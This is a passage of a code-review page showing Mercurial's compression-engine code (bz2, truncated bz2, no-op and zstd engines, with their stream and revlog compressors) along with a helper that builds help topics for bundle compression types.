3525 3537 def compressstream(self, it, opts=None):
3526 3538 opts = opts or {}
3527 3539 z = bz2.BZ2Compressor(opts.get('level', 9))
3528 3540 for chunk in it:
3529 3541 data = z.compress(chunk)
3530 3542 if data:
3531 3543 yield data
3532 3544
3533 3545 yield z.flush()
3534 3546
3535 3547 def decompressorreader(self, fh):
3536 3548 def gen():
3537 3549 d = bz2.BZ2Decompressor()
3538 3550 for chunk in filechunkiter(fh):
3539 3551 yield d.decompress(chunk)
3540 3552
3541 3553 return chunkbuffer(gen())
3542 3554
3543 3555 compengines.register(_bz2engine())
3544 3556
3545 3557 class _truncatedbz2engine(compressionengine):
3546 3558 def name(self):
3547 3559 return 'bz2truncated'
3548 3560
3549 3561 def bundletype(self):
3550 3562 return None, '_truncatedBZ'
3551 3563
3552 3564 # We don't implement compressstream because it is hackily handled elsewhere.
3553 3565
3554 3566 def decompressorreader(self, fh):
3555 3567 def gen():
3556 3568 # The input stream doesn't have the 'BZ' header. So add it back.
3557 3569 d = bz2.BZ2Decompressor()
3558 3570 d.decompress('BZ')
3559 3571 for chunk in filechunkiter(fh):
3560 3572 yield d.decompress(chunk)
3561 3573
3562 3574 return chunkbuffer(gen())
3563 3575
3564 3576 compengines.register(_truncatedbz2engine())
3565 3577
3566 3578 class _noopengine(compressionengine):
3567 3579 def name(self):
3568 3580 return 'none'
3569 3581
3570 3582 def bundletype(self):
3571 3583 """No compression is performed.
3572 3584
3573 3585 Use this compression engine to explicitly disable compression.
3574 3586 """
3575 3587 return 'none', 'UN'
3576 3588
3577 3589 # Clients always support uncompressed payloads. Servers don't because
3578 3590 # unless you are on a fast network, uncompressed payloads can easily
3579 3591 # saturate your network pipe.
3580 3592 def wireprotosupport(self):
3581 3593 return compewireprotosupport('none', 0, 10)
3582 3594
3583 3595 # We don't implement revlogheader because it is handled specially
3584 3596 # in the revlog class.
3585 3597
3586 3598 def compressstream(self, it, opts=None):
3587 3599 return it
3588 3600
3589 3601 def decompressorreader(self, fh):
3590 3602 return fh
3591 3603
3592 3604 class nooprevlogcompressor(object):
3593 3605 def compress(self, data):
3594 3606 return None
3595 3607
3596 3608 def revlogcompressor(self, opts=None):
3597 3609 return self.nooprevlogcompressor()
3598 3610
3599 3611 compengines.register(_noopengine())
3600 3612
3601 3613 class _zstdengine(compressionengine):
3602 3614 def name(self):
3603 3615 return 'zstd'
3604 3616
3605 3617 @propertycache
3606 3618 def _module(self):
3607 3619 # Not all installs have the zstd module available. So defer importing
3608 3620 # until first access.
3609 3621 try:
3610 3622 from . import zstd
3611 3623 # Force delayed import.
3612 3624 zstd.__version__
3613 3625 return zstd
3614 3626 except ImportError:
3615 3627 return None
3616 3628
3617 3629 def available(self):
3618 3630 return bool(self._module)
3619 3631
3620 3632 def bundletype(self):
3621 3633 """A modern compression algorithm that is fast and highly flexible.
3622 3634
3623 3635 Only supported by Mercurial 4.1 and newer clients.
3624 3636
3625 3637 With the default settings, zstd compression is both faster and yields
3626 3638 better compression than ``gzip``. It also frequently yields better
3627 3639 compression than ``bzip2`` while operating at much higher speeds.
3628 3640
3629 3641 If this engine is available and backwards compatibility is not a
3630 3642 concern, it is likely the best available engine.
3631 3643 """
3632 3644 return 'zstd', 'ZS'
3633 3645
3634 3646 def wireprotosupport(self):
3635 3647 return compewireprotosupport('zstd', 50, 50)
3636 3648
3637 3649 def revlogheader(self):
3638 3650 return '\x28'
3639 3651
3640 3652 def compressstream(self, it, opts=None):
3641 3653 opts = opts or {}
3642 3654 # zstd level 3 is almost always significantly faster than zlib
3643 3655 # while providing no worse compression. It strikes a good balance
3644 3656 # between speed and compression.
3645 3657 level = opts.get('level', 3)
3646 3658
3647 3659 zstd = self._module
3648 3660 z = zstd.ZstdCompressor(level=level).compressobj()
3649 3661 for chunk in it:
3650 3662 data = z.compress(chunk)
3651 3663 if data:
3652 3664 yield data
3653 3665
3654 3666 yield z.flush()
3655 3667
3656 3668 def decompressorreader(self, fh):
3657 3669 zstd = self._module
3658 3670 dctx = zstd.ZstdDecompressor()
3659 3671 return chunkbuffer(dctx.read_from(fh))
3660 3672
3661 3673 class zstdrevlogcompressor(object):
3662 3674 def __init__(self, zstd, level=3):
3663 3675 # Writing the content size adds a few bytes to the output. However,
3664 3676 # it allows decompression to be more optimal since we can
3665 3677 # pre-allocate a buffer to hold the result.
3666 3678 self._cctx = zstd.ZstdCompressor(level=level,
3667 3679 write_content_size=True)
3668 3680 self._dctx = zstd.ZstdDecompressor()
3669 3681 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3670 3682 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3671 3683
3672 3684 def compress(self, data):
3673 3685 insize = len(data)
3674 3686 # Caller handles empty input case.
3675 3687 assert insize > 0
3676 3688
3677 3689 if insize < 50:
3678 3690 return None
3679 3691
3680 3692 elif insize <= 1000000:
3681 3693 compressed = self._cctx.compress(data)
3682 3694 if len(compressed) < insize:
3683 3695 return compressed
3684 3696 return None
3685 3697 else:
3686 3698 z = self._cctx.compressobj()
3687 3699 chunks = []
3688 3700 pos = 0
3689 3701 while pos < insize:
3690 3702 pos2 = pos + self._compinsize
3691 3703 chunk = z.compress(data[pos:pos2])
3692 3704 if chunk:
3693 3705 chunks.append(chunk)
3694 3706 pos = pos2
3695 3707 chunks.append(z.flush())
3696 3708
3697 3709 if sum(map(len, chunks)) < insize:
3698 3710 return ''.join(chunks)
3699 3711 return None
3700 3712
3701 3713 def decompress(self, data):
3702 3714 insize = len(data)
3703 3715
3704 3716 try:
3705 3717 # This was measured to be faster than other streaming
3706 3718 # decompressors.
3707 3719 dobj = self._dctx.decompressobj()
3708 3720 chunks = []
3709 3721 pos = 0
3710 3722 while pos < insize:
3711 3723 pos2 = pos + self._decompinsize
3712 3724 chunk = dobj.decompress(data[pos:pos2])
3713 3725 if chunk:
3714 3726 chunks.append(chunk)
3715 3727 pos = pos2
3716 3728 # Frame should be exhausted, so no finish() API.
3717 3729
3718 3730 return ''.join(chunks)
3719 3731 except Exception as e:
3720 3732 raise error.RevlogError(_('revlog decompress error: %s') %
3721 3733 str(e))
3722 3734
3723 3735 def revlogcompressor(self, opts=None):
3724 3736 opts = opts or {}
3725 3737 return self.zstdrevlogcompressor(self._module,
3726 3738 level=opts.get('level', 3))
3727 3739
3728 3740 compengines.register(_zstdengine())
3729 3741
3730 3742 def bundlecompressiontopics():
3731 3743 """Obtains a list of available bundle compressions for use in help."""
3732 3744 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3733 3745 items = {}
3734 3746
3735 3747 # We need to format the docstring. So use a dummy object/type to hold it
3736 3748 # rather than mutating the original.
3737 3749 class docobject(object):
3738 3750 pass
3739 3751
3740 3752 for name in compengines:
3741 3753 engine = compengines[name]
3742 3754
3743 3755 if not engine.available():
3744 3756 continue
3745 3757
3746 3758 bt = engine.bundletype()
3747 3759 if not bt or not bt[0]:
3748 3760 continue
3749 3761
3750 3762 doc = pycompat.sysstr('``%s``\n %s') % (
3751 3763 bt[0], engine.bundletype.__doc__)
3752 3764
3753 3765 value = docobject()
3754 3766 value.__doc__ = doc
3755 3767 value._origdoc = engine.bundletype.__doc__
3756 3768 value._origfunc = engine.bundletype
3757 3769
3758 3770 items[bt[0]] = value
3759 3771
3760 3772 return items
3761 3773
3762 3774 i18nfunctions = bundlecompressiontopics().values()
3763 3775
3764 3776 # convenient shortcut
3765 3777 dst = debugstacktrace
General Comments 0
You need to be logged in to leave comments. Login now